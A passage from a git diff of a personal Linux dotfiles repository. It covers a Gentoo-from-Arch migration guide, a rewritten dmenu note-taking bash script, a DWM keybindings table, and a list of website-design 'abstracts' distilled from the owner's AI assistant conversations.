| Slow compile, binary works identically | +| `dev-dotnet/dotnet-sdk-bin` | .NET is binary-distributed anyway | +| `app-containers/docker` | Binary works fine, no custom flags needed | +| `dev-java/openjdk-bin` | JVM is JVM | +| `dev-lang/ghc-bin` | Haskell compiler bootstrap is brutal | + +### COMPILE FROM SOURCE (where it matters) + +| Package | Why compile | +|---------|------------| +| `sys-kernel/gentoo-sources` | Custom kernel for your hardware | +| `x11-wm/dwm` (from git) | Your custom patches, the whole point | +| `x11-terms/st` (from git) | Your custom patches | +| `x11-misc/dmenu` (from git) | Your custom patches | +| `media-video/mpv` | Custom codec/GPU flags | +| `app-editors/neovim` | LuaJIT integration, latest features | +| `media-video/pipewire` | Audio stack, needs exact flag match | +| `x11-base/xorg-server` | GPU-specific optimization | +| `sys-libs/glibc` | Foundation of everything | +| `app-shells/fish` | Small, fast compile, benefits from LTO | +| `net-misc/curl` | Security-relevant, want exact TLS backend | +| `dev-vcs/git` | Used constantly, benefits from optimization | +| `app-misc/tmux` | Tiny, fast | +| `sys-process/htop`/`app-misc/btop` | Tiny | +| `media-gfx/imagemagick` | Custom format support | +| `net-dns/unbound` | If using local DNS | +| `x11-misc/picom` | Compositor, benefits from GPU flags | +| `app-misc/conky` | Lua + X11 integration | +| All suckless tools | The entire point of suckless | + +### GREY AREA (compile if you have time, binary if impatient) + +| Package | Notes | +|---------|-------| +| `www-client/chromium` | 4-6 hour compile but vaapi/vulkan flags matter for video | +| `dev-lang/python` | 10 min compile, LTO makes measurable difference | +| `media-libs/mesa` | 15 min, GPU-specific optimizations apply | +| `sys-devel/gcc` | 30-45 min, PGO build genuinely faster | +| `sys-devel/llvm` | 45-60 min, needed for mesa/amdgpu | + +## Init System + +**OpenRC**, not systemd. + +Reasons: +- Simpler, faster boot +- Shell scripts you can read +- Aligns with suckless philosophy +- elogind provides seat/session management without systemd +- Everything in your stack works fine without systemd + +Services to enable: +```bash +rc-update add elogind default +rc-update add dbus default +rc-update add NetworkManager default # or dhcpcd if you prefer +rc-update add bluetooth default +rc-update add zram-init default +rc-update add cronie default +``` + +## Overlay Strategy + +You need the `guru` overlay and possibly a personal overlay. + +```bash +emerge app-eselect/eselect-repository +eselect repository enable guru +emerge --sync +``` + +### Packages needing overlays: + +| Package | Source | +|---------|--------| +| eww | guru or custom ebuild | +| fastfetch | guru | +| eza | guru or main repo (check) | +| zoxide | main repo (app-shells/zoxide) | +| rmpc | custom ebuild (Rust, cargo install) | +| mouseless | custom ebuild (go build) | +| ueberzugpp | guru | +| pywal | pip install or custom ebuild | +| nerd-fonts | guru | +| lazygit | main repo | +| lazydocker | guru | +| git-delta | main repo (dev-util/git-delta) | +| ani-cli | custom ebuild or /usr/local | +| mullvad-vpn | custom ebuild from Mullvad | +| lf | main repo (app-misc/lf) | + +For anything without an ebuild, use `/usr/local/` or `~/.local/bin/` (which you already do for many scripts). + +## Suckless Build Strategy + +Your suckless programs live in `~/src/{dwm,st,dmenu,dwmblocks,scron,quark}`. On Gentoo: + +1. Don't use portage for suckless tools +2. Keep building from your git repos with `make clean install` +3. Install build deps via portage: `x11-libs/libX11 x11-libs/libXft x11-libs/libXinerama media-libs/fontconfig` + +This is identical to your current Arch workflow. + +## Migration Path + +### Phase 1: Preparation (on Arch) + +```bash +# Save current state +pacman -Qe > ~/packages-explicit.txt +zcat /proc/config.gz > ~/kernel-config +cp -r /etc/X11/xorg.conf.d ~/xorg-backup/ +lspci -k > ~/lspci-drivers.txt +``` + +### Phase 2: Install Gentoo + +1. Boot Gentoo minimal install ISO from USB +2. Partition nvme0n1 (keep /home intact if possible, just reformat / and /boot) +3. Stage3 tarball (OpenRC, no-multilib unless you need 32-bit wine) +4. Configure make.conf with the flags above +5. Build kernel from your saved config +6. Install bootloader (GRUB or systemd-boot work fine) +7. Reboot into Gentoo + +### Phase 3: Desktop Stack + +```bash +# X11 + GPU +emerge xorg-server xf86-video-amdgpu mesa vulkan-loader vulkan-tools + +# Fonts +emerge media-fonts/noto media-fonts/liberation-fonts +# nerd-fonts from guru overlay + +# Audio +emerge media-video/pipewire media-video/wireplumber + +# Desktop deps +emerge libX11 libXft libXinerama fontconfig freetype harfbuzz + +# Build suckless from ~/src/ +cd ~/src/dwm && sudo make clean install +cd ~/src/st && sudo make clean install +cd ~/src/dmenu && sudo make clean install +cd ~/src/dwmblocks && sudo make clean install + +# Shell + tools +emerge fish zoxide fzf fd ripgrep bat eza dust nnn tmux neovim + +# Apply srice +cd ~/src/srice && stow . +``` + +### Phase 4: Verify + +- 4 monitors working (xrandr / screenlayout script) +- Audio (pipewire + wireplumber) +- GPU acceleration (vulkaninfo, glxinfo) +- All statusbar modules +- Fish shell + all configs + +## Compile Time Estimates (20-core Arrow Lake) + +| Package | Approx Time | +|---------|-------------| +| Full @world (first build, ~300 packages) | 4-8 hours | +| Kernel | 5-10 minutes | +| GCC | 30-45 minutes | +| LLVM | 45-60 minutes | +| Mesa | 10-15 minutes | +| Firefox/Librewolf (if compiling) | 2-3 hours | +| Python | 8-12 minutes | +| Neovim | 2-3 minutes | +| Xorg-server | 5 minutes | + +With 20 cores and `--jobs=4`, initial system build is a half-day affair. After that, `emerge --update @world` weekly takes 15-60 minutes depending on what changed. + +## Gotchas Specific to Your Setup + +1. **Arrow Lake is bleeding edge** -- Ensure kernel 6.8+ for full support. Gentoo-sources usually tracks latest stable quickly. + +2. **Dual GPU Xorg** -- You need `/etc/X11/xorg.conf.d/10-gpu.conf` just like on Arch. Copy your existing one. + +3. **Intel xe vs i915** -- Arrow Lake is in the transition zone. Try i915 first (CONFIG_DRM_I915), fall back to xe if the iGPU monitor doesn't work. + +4. **ZRAM** -- Not automatic on Gentoo/OpenRC. Install `sys-block/zram-init`, configure in `/etc/conf.d/zram-init`. + +5. **elogind + seatd** -- Needed for non-root Xorg. `emerge elogind`, add to default runlevel. + +6. **Plan 9 from User Space** -- `emerge dev-util/plan9port`. Installs to `/usr/lib/plan9` same as Arch. + +7. **Fish as login shell** -- After install: `chsh -s /usr/bin/fish`. May need to add to `/etc/shells` first. + +8. **picom** -- The `picom` in Gentoo repos may be the fork (FT-Labs) or original. Check which you need. + +9. **gnome-keyring without GNOME** -- Works fine, just `emerge gnome-base/gnome-keyring` and keep your .xprofile autostart. + +10. **Conky + Lua** -- Needs `USE="lua"` on conky, ensure LuaJIT is available. + +## Why Gentoo Over Staying on Arch + +Honest assessment for your use case: + +| Advantage | Real Impact | +|-----------|-------------| +| USE flags | Eliminate dependencies you don't want (no Qt, no GNOME libs, no Wayland) | +| Optimized binaries | Measurable on CPU-bound tasks (compilation, grep over large codebases) | +| Rolling + stable | You choose when to update, not forced by partial upgrades | +| Learning | Deep understanding of every layer (aligns with your systems-hacker trajectory) | +| Control | Nothing happens you didn't ask for | +| OpenRC | Simpler init, readable service scripts | + +| Disadvantage | Real Impact | +|--------------|-------------| +| Compile time | Weekly ~30 min maintenance, occasional multi-hour rebuilds | +| AUR equivalent weaker | Overlays exist but aren't as vast as AUR | +| Breakage risk | USE flag conflicts require manual resolution | +| Initial setup | Full day minimum | + +For someone building a Plan 9 grid and pursuing deep systems knowledge, Gentoo is a natural stepping stone. You'll understand your Linux system at a level Arch doesn't require. diff --git a/bin/dnote b/bin/dnote new file mode 100755 index 0000000000000000000000000000000000000000..233bf4aef14b3563815b27b906d44df15e3391d6 --- /dev/null +++ b/bin/dnote @@ -0,0 +1,2 @@ +#!/usr/bin/env bash +exec "$(dirname "$0")/dnotes" "$@" diff --git a/bin/dnotes b/bin/dnotes index a73eb629ee15e1d7a8145422505f3d76daa8708f..3c370dac9bfba1ab19dab390f361b2a733709d60 100755 --- a/bin/dnotes +++ b/bin/dnotes @@ -1,201 +1,255 @@ #!/usr/bin/env bash ############################################################################### -# dnotes — Browse and create notes in ~/notes/ via dmenu -# -# Maintainer: Kris Yotam <krisyotam@pm.me> -# License: MIT -# Created: 2026-02-15 -# Updated: 2026-02-24 -# -# Lists note folders with nerd icons in dmenu. Selecting a folder lists -# its .md files for opening in Emacs. A "Create" option at the bottom -# prompts for frontmatter and creates a new .md note. -# -# Usage: -# dnotes +# dnotes -- browse and create md-roam notes in ~/lit/slipbox with dmenu ############################################################################### -NOTES_DIR="$HOME/notes" +set -euo pipefail -############################################################################### -# folder icons -############################################################################### +NOTES_DIR="${NOTES_DIR:-$HOME/lit/slipbox}" +DMENU="${DMENU:-dmenu -i}" -declare -A ICONS=( - [cards]="󰘸" - [index]="󰮮" - [jottings]="" - [marginalia]="󰆏" - [slipbox]="󱉟" -) +NOTE_ICON="󱉟" +CREATE_ICON="+" -CREATE_ICON="" -DEFAULT_ICON="󰎞" +NOTE_TYPES=("evergreen" "paper" "person" "question" "letter" "lecture" "company") +NOTE_STATES=("active" "hidden") +NOTE_STATUSES=("rough" "growing" "evergreen" "abandoned") +NOTE_CERTAINTIES=("certain" "highly likely" "likely" "possible" "unlikely" "highly unlikely" "remote" "impossible") -############################################################################### -# helpers -############################################################################### +trim() { + sed 's/^[[:space:]]*//;s/[[:space:]]*$//' +} -get_icon() { - local folder="$1" - echo "${ICONS[$folder]:-$DEFAULT_ICON}" +notify() { + if command -v notify-send >/dev/null 2>&1; then + notify-send "dnotes" "$1" + fi } slugify() { - echo "$1" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9]/-/g; s/--*/-/g; s/^-//; s/-$//' + printf '%s' "$1" | + tr '[:upper:]' '[:lower:]' | + sed 's/[^a-z0-9]/-/g; s/--*/-/g; s/^-//; s/-$//' +} + +yaml_quote() { + local value="$1" + value="${value//\\/\\\\}" + value="${value//\"/\\\"}" + printf '"%s"' "$value" +} + +inline_list() { + local input="$1" + input=$(printf '%s' "$input" | trim) + if [ -z "$input" ]; then + printf '[]' + else + printf '[%s]' "$input" + fi +} + +prompt_text() { + local prompt="$1" + local default="${2:-}" + local value + + value=$(printf '%s' "$default" | $DMENU -p "$prompt") || exit 0 + printf '%s' "$value" | trim +} + +choose_one() { + local prompt="$1" + local default="$2" + shift 2 + + local value + value=$(printf '%s\n' "$@" | $DMENU -l "$#" -p "$prompt [$default]") || exit 0 + if [ -z "$value" ]; then + printf '%s' "$default" + else + printf '%s' "$value" + fi +} + +prompt_int_range() { + local prompt="$1" + local min="$2" + local max="$3" + local default="$4" + local value + + while true; do + value=$(prompt_text "$prompt [$default]" "$default") + [ -z "$value" ] && value="$default" + if [[ "$value" =~ ^[0-9]+$ ]] && [ "$value" -ge "$min" ] && [ "$value" -le "$max" ]; then + printf '%s' "$value" + return + fi + notify "$prompt must be between $min and $max" + done +} + +prompt_timestamp() { + local prefix="$1" + local year month day hour minute second + + year=$(prompt_int_range "$prefix year" 1 9999 "$(date -u +%Y)") + month=$(prompt_int_range "$prefix month" 1 12 "$(date -u +%m)") + day=$(prompt_int_range "$prefix day" 1 31 "$(date -u +%d)") + hour=$(prompt_int_range "$prefix hour UTC" 0 23 "$(date -u +%H)") + minute=$(prompt_int_range "$prefix minute UTC" 0 59 "$(date -u +%M)") + second=$(prompt_int_range "$prefix second UTC" 0 59 "$(date -u +%S)") + + if ! date -u -d "$year-$month-$day $hour:$minute:$second" >/dev/null 2>&1; then + notify "Invalid date" + prompt_timestamp "$prefix" + return + fi + + printf '%04d-%02d-%02dT%02d:%02d:%02dZ' "$year" "$month" "$day" "$hour" "$minute" "$second" } open_in_emacs() { local file="$1" - # Check if emacsclient can reach a running GUI Emacs + local escaped="${file//\\/\\\\}" + escaped="${escaped//\"/\\\"}" + if emacsclient -e "(window-system)" 2>/dev/null | grep -q "x"; then - # GUI Emacs running with server — open in vertical split pane (like SPC p n) emacsclient -e "(progn (split-window-right 80) (other-window 1) - (find-file \"$file\") + (find-file \"$escaped\") + (when (fboundp 'kris/prose-wrap-mode) (kris/prose-wrap-mode)) (raise-frame) (select-frame-set-input-focus (selected-frame)) - (evil-normal-state))" 2>/dev/null + (when (fboundp 'evil-normal-state) (evil-normal-state)))" >/dev/null 2>&1 || emacsclient -n "$file" else - # No GUI Emacs — launch one with the file emacs "$file" & fi } -############################################################################### -# create note -############################################################################### +sync_note_in_emacs() { + local file="$1" + local escaped="${file//\\/\\\\}" + escaped="${escaped//\"/\\\"}" + + emacsclient -e "(when (fboundp 'org-roam-db-update-file) + (org-roam-db-update-file \"$escaped\"))" >/dev/null 2>&1 || true +} + +extract_title() { + local file="$1" + awk ' + NR == 1 && $0 == "---" { fm = 1; next } + fm && $0 == "---" { exit } + fm && $0 ~ /^title:[[:space:]]*/ { + sub(/^title:[[:space:]]*/, "") + gsub(/^["'\'']|["'\'']$/, "") + print + exit + } + ' "$file" +} create_note() { - # Pick folder for new note - local MENU="" - for folder in slipbox jottings marginalia index cards; do - [ -d "$NOTES_DIR/$folder" ] && MENU+="$(get_icon "$folder") $folder"$'\n' - done + mkdir -p "$NOTES_DIR" - local CHOICE - CHOICE=$(printf '%s' "$MENU" | sed '/^$/d' | dmenu -i -l 10 -p "$CREATE_ICON Create in") - [ -z "$CHOICE" ] && exit 0 - - local FOLDER - FOLDER=$(echo "$CHOICE" | sed 's/^[^ ]* *//') - - # Prompt for title - local TITLE - TITLE=$(printf '' | dmenu -p "󰏫 Title:") - TITLE=$(echo "$TITLE" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//') - [ -z "$TITLE" ] && exit 0 - - local SLUG - SLUG=$(echo "$TITLE" | tr '[:upper:]' '[:lower:]' | sed 's/ /-/g; s/[^a-z0-9-]//g; s/--*/-/g; s/^-//; s/-$//') - - # Prompt for tags (comma-separated) - local TAGS_INPUT - TAGS_INPUT=$(echo "" | dmenu -p " Tags (comma-separated, e.g. math, calculus):") - # Format as YAML list: "math, calculus" → "[math, calculus]" - local TAGS="[]" - if [ -n "$TAGS_INPUT" ]; then - TAGS="[${TAGS_INPUT}]" - fi + local title slug default_slug type stime etime state status certainty importance preview linked_notes tags file + + title=$(prompt_text "Title") + [ -z "$title" ] && exit 0 - # Prompt for certainty - local CERTAINTY - CERTAINTY=$(printf 'possible\ncertain\nlikely\nunlikely\nspeculative' | dmenu -i -l 5 -p " Certainty:") - [ -z "$CERTAINTY" ] && CERTAINTY="possible" + default_slug=$(slugify "$title") + slug=$(prompt_text "Slug" "$default_slug") + [ -z "$slug" ] && slug="$default_slug" - # Prompt for importance (1-10) - local IMPORTANCE - IMPORTANCE=$(printf '1\n2\n3\n4\n5\n6\n7\n8\n9\n10' | dmenu -i -l 10 -p " Importance:") - [ -z "$IMPORTANCE" ] && IMPORTANCE="5" + type=$(choose_one "Type" "evergreen" "${NOTE_TYPES[@]}") + stime=$(prompt_timestamp "Created") - # Prompt for preview - local PREVIEW - PREVIEW=$(echo "" | dmenu -p " Preview:") + if [ "$(choose_one "Set completion time?" "no" "no" "yes")" = "yes" ]; then + etime=$(prompt_timestamp "Completed") + else + etime="" + fi - local DATE - DATE=$(date +%Y-%m-%d) + state=$(choose_one "State" "active" "${NOTE_STATES[@]}") + status=$(choose_one "Status" "rough" "${NOTE_STATUSES[@]}") + certainty=$(choose_one "Certainty" "possible" "${NOTE_CERTAINTIES[@]}") + importance=$(prompt_int_range "Importance" 0 10 5) + preview=$(prompt_text "Preview") + linked_notes=$(prompt_text "Linked note slugs, comma-separated") + tags=$(prompt_text "Tags, comma-separated") + + file="$NOTES_DIR/$slug.md" + if [ -e "$file" ]; then + notify "Note already exists: $slug.md" + exit 1 + fi - local FILEPATH="$NOTES_DIR/$FOLDER/${SLUG}.md" + { + printf '%s\n' '---' + printf 'title: %s\n' "$(yaml_quote "$title")" + printf 'slug: %s\n' "$slug" + printf 'type: %s\n' "$type" + printf 'stime: %s\n' "$stime" + printf 'etime: %s\n' "$etime" + printf 'state: %s\n' "$state" + printf 'status: %s\n' "$status" + printf 'certainty: %s\n' "$certainty" + printf 'importance: %s\n' "$importance" + printf 'preview: %s\n' "$(yaml_quote "$preview")" + printf 'backlinks: 0\n' + printf 'linkedNotes: %s\n' "$(inline_list "$linked_notes")" + printf 'tags: %s\n' "$(inline_list "$tags")" + printf '%s\n\n' '---' + } > "$file" + + sync_note_in_emacs "$file" + open_in_emacs "$file" + notify "Created: $slug.md" +} + +open_note() { + local files menu choice slug file title - if [ -f "$FILEPATH" ]; then - notify-send "dnotes" "Note already exists: $SLUG" + files=$(find "$NOTES_DIR" -maxdepth 1 -type f -name '*.md' | sort) + if [ -z "$files" ]; then + notify "No notes in $NOTES_DIR" exit 1 fi - cat > "$FILEPATH" <<EOF ---- -id: $SLUG -start: $DATE -finish: -certainty: $CERTAINTY -status: seed -importance: $IMPORTANCE -preview: $PREVIEW -tags: $TAGS ---- + menu="" + while IFS= read -r file; do + slug=$(basename "$file" .md) + title=$(extract_title "$file") + [ -z "$title" ] && title="$slug" + menu+="$title [$slug]"$'\n' + done <<< "$files" -# $TITLE + choice=$(printf '%s' "$menu" | $DMENU -l 20 -p "$NOTE_ICON Open note") || exit 0 + [ -z "$choice" ] && exit 0 -EOF + slug=$(printf '%s' "$choice" | sed 's/.*\[//; s/\]$//') + file="$NOTES_DIR/$slug.md" - open_in_emacs "$FILEPATH" - notify-send "dnotes" "Created: $FOLDER/$SLUG.md" + if [ -f "$file" ]; then + open_in_emacs "$file" + else + notify "File not found: $slug.md" + exit 1 + fi } -############################################################################### -# main -############################################################################### +main() { + local choice + + choice=$(printf 'open\ncreate\n' | $DMENU -l 2 -p "$NOTE_ICON Notes") || exit 0 + case "$choice" in + open) open_note ;; + create) create_note ;; + *) exit 0 ;; + esac +} -# Build folder menu -MENU="" -for folder in slipbox jottings marginalia index cards; do - [ -d "$NOTES_DIR/$folder" ] && MENU+="$(get_icon "$folder") $folder"$'\n' -done -MENU+=" create" - -# Select folder or create -CHOICE=$(printf '%s' "$MENU" | sed '/^$/d' | dmenu -i -l 10 -p "󰎞 Notes") -[ -z "$CHOICE" ] && exit 0 - -# Check if Create was selected -SELECTED=$(echo "$CHOICE" | sed 's/^[^ ]* *//') -if [ "$SELECTED" = "create" ]; then - create_note - exit 0 -fi - -FOLDER="$SELECTED" - -# List .md files in folder -FILES=$(find "$NOTES_DIR/$FOLDER" -maxdepth 1 -name "*.md" -type f | sort) - -if [ -z "$FILES" ]; then - notify-send "dnotes" "No notes in $FOLDER" - exit 1 -fi - -# Build file menu from markdown titles -FILE_MENU="" -while IFS= read -r filepath; do - filename=$(basename "$filepath" .md) - # Extract title from # heading - title=$(grep -m1 '^# ' "$filepath" | sed 's/^# *//') - [ -z "$title" ] && title="$filename" - FILE_MENU+="$title [$filename]"$'\n' -done <<< "$FILES" - -# Select file -FILE_CHOICE=$(printf '%s' "$FILE_MENU" | sed '/^$/d' | dmenu -i -l 20 -p "$(get_icon "$FOLDER") $FOLDER") -[ -z "$FILE_CHOICE" ] && exit 0 - -# Extract slug from selection -SLUG=$(echo "$FILE_CHOICE" | sed 's/.*\[//; s/\]//') -MD_FILE="$NOTES_DIR/$FOLDER/${SLUG}.md" - -if [ -f "$MD_FILE" ]; then - open_in_emacs "$MD_FILE" -else - notify-send "dnotes" "File not found: $SLUG.md" - exit 1 -fi +main "$@" diff --git a/binds.md b/binds.md new file mode 100644 index 0000000000000000000000000000000000000000..e3d87140fa111c85d68b29632e4cc94373006874 --- /dev/null +++ b/binds.md @@ -0,0 +1,209 @@ +# DWM Keybindings + +MODKEY = Super (Mod4) + +## Applications + +| Binding | Action | +|---------|--------| +| Super + Return | Terminal (st) | +| Super + Shift + Return | Terminal (st) | +| Super + d | dlaunch (app launcher) | +| Super + b | dbrowse (browser picker) | +| Super + w | tome -dmenu -edit | +| Super + e | tome -dmenu -data | +| Super + c | tome -dmenu -create | +| Super + n | dnotes | +| Super + p | passmenu | +| Super + y | dtime | +| Super + m | dmode | +| Super + a | questions | +| Super + z | dsnip | +| Super + / | dkymap (keymap viewer) | +| Super + Shift + c | dclip (clipboard manager) | +| Super + Shift + n | newsboat (in st) | +| Super + r | record | + +## Screenshots and Recording + +| Binding | Action | +|---------|--------| +| Print | snip (screenshot select) | +| Shift + Print | snip full (fullscreen screenshot) | +| Super + Print | record | +| Super + Shift + Print | record -stop | +| Super + s | snip (screenshot select) | +| Super + Shift + s | snip full (fullscreen screenshot) | + +## Audio and Brightness + +| Binding | Action | +|---------|--------| +| XF86AudioLowerVolume | Volume down 5% | +| XF86AudioRaiseVolume | Volume up 5% | +| XF86AudioMute | Toggle mute | +| Super + Shift + m | Toggle mute | +| XF86MonBrightnessUp | Brightness up 5 | +| XF86MonBrightnessDown | Brightness down 5 | + +## System + +| Binding | Action | +|---------|--------| +| Super + BackSpace | sysact (system actions menu) | +| Super + Shift + q | sysact (system actions menu) | +| Super + q | Kill focused window | +| Super + Ctrl + Shift + q | Quit dwm (restart signal) | + +## Window Focus (Stacker) + +| Binding | Action | +|---------|--------| +| Super + j | Focus next in stack | +| Super + k | Focus previous in stack | +| Super + s | Focus previously selected | +| Super + w | Focus first client | +| Super + e | Focus second client | +| Super + a | Focus third client | +| Super + z | Focus last client | +| Super + Shift + j | Push window down in stack | +| Super + Shift + k | Push window up in stack | + +Note: Some stacker bindings overlap with application bindings (Super+w, Super+e, Super+a, Super+z, Super+s). The application spawn bindings are listed first in config.h and take priority. + +## Master/Stack Sizing + +| Binding | Action | +|---------|--------| +| Super + h | Decrease master factor | +| Super + l | Increase master factor | +| Super + Shift + h | Increase client factor (cfacts) | +| Super + Shift + l | Decrease client factor (cfacts) | +| Super + Shift + o | Reset client factor | +| Super + Return | Zoom (promote to master) | + +## Layouts + +| Binding | Action | +|---------|--------| +| Super + t | Tile layout []= | +| Super + f | Floating layout ><> | +| Super + i | Reading mode (RRR layout, index 14) | +| Super + Shift + r | Reading mode (RRR layout, index 14) | +| Super + Space | Toggle last layout | +| Super + Shift + Space | Toggle floating for focused window | + +## Tags (Workspaces) + +Applies to tags 1-9. + +| Binding | Action | +|---------|--------| +| Super + [1-9] | View tag N | +| Super + Ctrl + [1-9] | Toggle view of tag N | +| Super + Shift + [1-9] | Move window to tag N | +| Super + Ctrl + Shift + [1-9] | Toggle tag N on window | +| Super + 0 | View all tags | +| Super + Shift + 0 | Tag window on all tags | +| Super + Tab | View previous tag | + +## Tag Navigation + +| Binding | Action | +|---------|--------| +| Super + Shift + Left | Shift tag left | +| Super + Shift + Right | Shift tag right | +| Super + Shift + Tab | Shift view left | +| Super + Shift + \ | Shift view right | + +## Monitor Navigation + +| Binding | Action | +|---------|--------| +| Super + , (comma) | Focus previous monitor | +| Super + . (period) | Focus next monitor | +| Super + Left | Send window to left monitor | +| Super + Right | Send window to right monitor | +| Super + Up | Send window to upper monitor | +| Super + Down | Send window to lower monitor | + +## Gaps (Vanitygaps) + +| Binding | Action | +|---------|--------| +| Super + Mod4 + u | Increase all gaps | +| Super + Mod4 + Shift + u | Decrease all gaps | +| Super + Mod4 + i | Increase inner gaps | +| Super + Mod4 + Shift + i | Decrease inner gaps | +| Super + Mod4 + o | Increase outer gaps | +| Super + Mod4 + Shift + o | Decrease outer gaps | +| Super + Mod4 + 6 | Increase inner horizontal gaps | +| Super + Mod4 + Shift + 6 | Decrease inner horizontal gaps | +| Super + Mod4 + 7 | Increase inner vertical gaps | +| Super + Mod4 + Shift + 7 | Decrease inner vertical gaps | +| Super + Mod4 + 8 | Increase outer horizontal gaps | +| Super + Mod4 + Shift + 8 | Decrease outer horizontal gaps | +| Super + Mod4 + 9 | Increase outer vertical gaps | +| Super + Mod4 + Shift + 9 | Decrease outer vertical gaps | +| Super + Mod4 + 0 | Toggle gaps | +| Super + Mod4 + Shift + 0 | Reset gaps to default | + +## Scratchpad + +| Binding | Action | +|---------|--------| +| Super + ` (grave) | Toggle scratchpad | +| Super + Ctrl + ` | Set scratchpad | +| Super + Shift + ` | Remove scratchpad | + +## Rio Draw + +| Binding | Action | +|---------|--------| +| Super + Ctrl + p | Rio spawn sync (dmenu) | +| Super + Ctrl + Return | Rio spawn (terminal) | +| Super + Ctrl + s | Rio resize | + +## Cycle Layouts + +| Binding | Action | +|---------|--------| +| Super + Ctrl + , | Previous layout | +| Super + Ctrl + . | Next layout | + +## Xresources + +| Binding | Action | +|---------|--------| +| Super + Shift + F5 | Reload Xresources | + +## Floatpos (Mod3 = Hyper) + +### Move (within monitor) + +| Binding | Action | +|---------|--------| +| Mod3 + u/i/o | Move NW / N / NE | +| Mod3 + j/l | Move W / E | +| Mod3 + m/,/. | Move SW / S / SE | + +### Move (absolute, between monitors) + +| Binding | Action | +|---------|--------| +| Mod3 + Ctrl + u/i/o/j/l/m/,/. | Absolute position move | + +### Resize (from center) + +| Binding | Action | +|---------|--------| +| Mod3 + Shift + u/i/o | Resize NW / N / NE | +| Mod3 + Shift + j/l | Resize W / E | +| Mod3 + Shift + k | Set to 800x800 | +| Mod3 + Shift + m/,/. | Resize SW / S / SE | + +### Grid position + +| Binding | Action | +|---------|--------| +| Mod3 + Alt + u/i/o/j/k/l/m/,/. | Grid-relative position | diff --git a/doc/abstracts/claude-home-recent-candidates.md b/doc/abstracts/claude-home-recent-candidates.md new file mode 100644 index 0000000000000000000000000000000000000000..ffbcf87bbf8a649fdb51316e05ca29fa1dea94c7 --- /dev/null +++ b/doc/abstracts/claude-home-recent-candidates.md @@ -0,0 +1,599 @@ +## Candidate 1: One Image Component +- Source: a1666253-c5c3-4287-9f0b-bb40b6b04ce2.jsonl, 2026-05-23T08:33:19.311Z +- Type: position +- Confidence: high +- Kris point: A site should have one canonical image component, with client code limited to progressive enhancement for the modal. +- Abstract: Image handling is too important to scatter across near-duplicate components. If the site needs captions, modals, comments, and rich formatting, those features should converge into one component rather than a set of competing partial implementations. + +The default should remain static and server-side. Client-side behavior is acceptable only where it earns its place, such as progressive enhancement for a lightbox or modal. +- Notes: Directly based on Kris rejecting a separate `image.tsx` unless it is absorbed by the main component. + +## Candidate 2: Vendor Only When It Means Less +- Source: 08e141ed-ab9b-40b4-90cd-d5d85db85492.jsonl, 2026-05-23T08:29:06.860Z +- Type: argument +- Confidence: high +- Kris point: Vendoring a dependency only makes sense if it can be made meaningfully more suckless. +- Abstract: Vendoring is not automatically virtuous. Copying a famous component into the codebase is justified only if the result is smaller, clearer, easier to control, and better aligned with the site. + +The question is not whether external code can be owned locally. The question is whether local ownership reduces complexity enough to matter. +- Notes: Based on request to evaluate Yet Another React Lightbox for a smaller vendored version. + +## Candidate 3: Images Are Core Infrastructure +- Source: a1666253-c5c3-4287-9f0b-bb40b6b04ce2.jsonl, 2026-05-23T08:26:30.304Z +- Type: position +- Confidence: high +- Kris point: Images are central to krisyotam.com, so image infrastructure deserves special scrutiny. +- Abstract: Images are not decorative extras on the site. They are part of the reading system, the archive, and the way notes, comments, and media become usable. + +Because images carry that much weight, the tooling around them should be durable and inspectable. A dependency can be acceptable, but the cost and control surface have to be understood first. +- Notes: Directly based on "images are very important to krisyotam.com." + +## Candidate 4: Explain The Ecosystem, Not The Buzzword +- Source: a1666253-c5c3-4287-9f0b-bb40b6b04ce2.jsonl, 2026-05-23T08:24:06.992Z +- Type: workflow +- Confidence: high +- Kris point: When recommending software, explain the actual capabilities instead of hiding behind phrases like plugin ecosystem. +- Abstract: A recommendation is useless if it names a library but does not say what it gives me. "Plugin ecosystem" is not an explanation. It has to cash out into features, constraints, maintenance costs, and reasons the tool is better than the simpler alternatives. + +Good technical advice should make the tradeoff legible enough that I can decide. +- Notes: Cleaned from Kris asking for a more verbose explanation of Yet Another React Lightbox. + +## Candidate 5: Learn From Gwern, Then Adapt +- Source: 47bd9bf7-4c11-4119-8a55-821a94ceca88.jsonl, 2026-05-23T06:52:21.210Z +- Type: workflow +- Confidence: high +- Kris point: Study Gwern's workflow seriously, then adapt the parts that fit a more suckless personal site. +- Abstract: Gwern's site is worth studying not as a thing to imitate blindly, but as a mature operating model for publishing, indexing, annotation, and AI-assisted surface area. + +The point is to extract patterns. If a workflow produces useful index pages, AI-authored summaries, or better navigation, it should be understood at the infrastructure level and then translated into my own system. +- Notes: Based on Kris asking for "next level analysis" of gwern.net and its infra. + +## Candidate 6: Focus Before Adopting Everything +- Source: 47bd9bf7-4c11-4119-8a55-821a94ceca88.jsonl, 2026-05-23T06:59:32.981Z +- Type: workflow +- Confidence: high +- Kris point: Even when a system is attractive enough to adopt broadly, start by understanding one focused page or workflow. +- Abstract: Wanting to adopt a lot from another site is not the same as copying it all at once. The useful move is to narrow the target first and understand one page deeply. + +The blog page matters because it appears to combine human work with LLM-generated summaries of off-platform work. That mechanism is more valuable than a superficial clone. +- Notes: Directly based on Kris saying he wanted to adopt it all but focus first on Gwern's `/blog`. + +## Candidate 7: AI Conversations Can Become Posts +- Source: 47bd9bf7-4c11-4119-8a55-821a94ceca88.jsonl, 2026-05-23T07:21:20.215Z +- Type: essay-seed +- Confidence: high +- Kris point: AI conversations need a publishing format that acknowledges their origin without treating them like ordinary blog posts. +- Abstract: Some posts begin as conversations with agents. They are not quite essays, not quite blog entries, and not mere transcripts. + +The format should preserve the fact that the source was an AI conversation while still giving the result a place in the publishing system. A site needs names and routes that can hold this new kind of work without pretending it is old media. +- Notes: Based on Kris asking what to call AI conversations that turn into posts. + +## Candidate 8: Names Should Be Suckless +- Source: 47bd9bf7-4c11-4119-8a55-821a94ceca88.jsonl, 2026-05-23T07:17:17.682Z +- Type: aphorism +- Confidence: high +- Kris point: A name should be simple and concise before it tries to sound literary. +- Abstract: Naming can drift into abstraction fast. "Dispatches" may sound good, but if the direction is suckless, the name has to be short, plain, and durable. + +Good names are not just aesthetic. They determine whether a system feels usable every day. +- Notes: Directly based on Kris rejecting a longer name in favor of concise naming. + +## Candidate 9: Do Not Over-Academicize +- Source: 47bd9bf7-4c11-4119-8a55-821a94ceca88.jsonl, 2026-05-23T07:15:00.720Z +- Type: position +- Confidence: high +- Kris point: Not every publishing category should be named in an academic or 